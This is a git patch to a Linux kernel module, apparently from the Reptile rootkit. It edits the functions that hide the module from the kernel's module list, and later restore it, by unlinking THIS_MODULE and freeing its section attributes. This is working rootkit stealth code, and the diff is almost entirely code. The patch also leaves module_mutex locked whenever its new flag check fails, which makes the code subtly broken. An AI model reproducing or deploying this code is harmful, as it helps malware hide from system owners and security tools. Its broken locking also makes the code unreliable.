From b96d18c90c5b3d9cbd9a8cc4abe8682523a3f9ae Mon Sep 17 00:00:00 2001 From: shenzexi <2538927534@qq.com> Date: Wed, 25 Dec 2024 10:37:21 +0800 Subject: [PATCH] =?UTF-8?q?hide=E7=BC=BA=E9=99=B7=E7=BB=B4=E6=8A=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/Reptile/kernel/module.c | 65 +++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 28 deletions(-) diff --git a/src/Reptile/kernel/module.c b/src/Reptile/kernel/module.c index ff310e4..526adb1 100644 --- a/src/Reptile/kernel/module.c +++ b/src/Reptile/kernel/module.c @@ -14,8 +14,9 @@ /** * @brief 标记模块是否被隐藏(1)或可见(0)。 */ -int hide_m = 0; - +//int hide_m = 0; +int flag_hide_m = 0; +int flag_show_m = 1; /** * @brief 指向模块列表前一个条目的指针。 */ @@ -48,23 +49,27 @@ void hide(void) while (!mutex_trylock(&module_mutex)) cpu_relax(); - // 保存当前模块列表的前一个条目 - mod_list = THIS_MODULE->list.prev; - - // 从模块列表中删除当前模块 - list_del(&THIS_MODULE->list); - - // 释放模块的段属性 - kfree(THIS_MODULE->sect_attrs); - - // 将模块的段属性设置为NULL - THIS_MODULE->sect_attrs = NULL; - - // 释放模块互斥锁 - mutex_unlock(&module_mutex); - - // 设置模块隐藏标志 - hide_m = 1; + // 判断模块是否可见,并设置模块隐藏标志 + if(flag_hide_m == 0 && flag_show_m == 1) + { + flag_hide_m = 1; + flag_show_m = 0; + // 保存当前模块列表的前一个条目 + mod_list = THIS_MODULE->list.prev; + + // 从模块列表中删除当前模块 + list_del(&THIS_MODULE->list); + + // 释放模块的段属性 + kfree(THIS_MODULE->sect_attrs); + + // 将模块的段属性设置为NULL + THIS_MODULE->sect_attrs = NULL; + + // 释放模块互斥锁 + mutex_unlock(&module_mutex); + } + } void show(void) @@ -72,23 +77,27 @@ void show(void) // 尝试获取模块互斥锁,如果失败则让CPU放松 while (!mutex_trylock(&module_mutex)) cpu_relax(); + // 判断模块是否隐藏,并设置模块可见标志 + if(flag_show_m == 0 && flag_hide_m == 1) + { + flag_show_m = 1; + flag_hide_m = 0; + // 将模块重新添加到模块列表中 + list_add(&THIS_MODULE->list, mod_list); - // 将模块重新添加到模块列表中 - list_add(&THIS_MODULE->list, mod_list); + // 释放模块互斥锁 + mutex_unlock(&module_mutex); + } - // 释放模块互斥锁 - mutex_unlock(&module_mutex); - - // 设置模块可见标志 - hide_m = 0; + } void hide_module(void) { // 如果模块当前可见,则隐藏模块 - if (hide_m == 0) + if (flag_hide_m == 0 && flag_show_m == 1) hide(); // 如果模块当前隐藏,则显示模块 - else if (hide_m == 1) + else if (flag_hide_m == 1 && flag_show_m == 0) show(); } \ No newline at end of file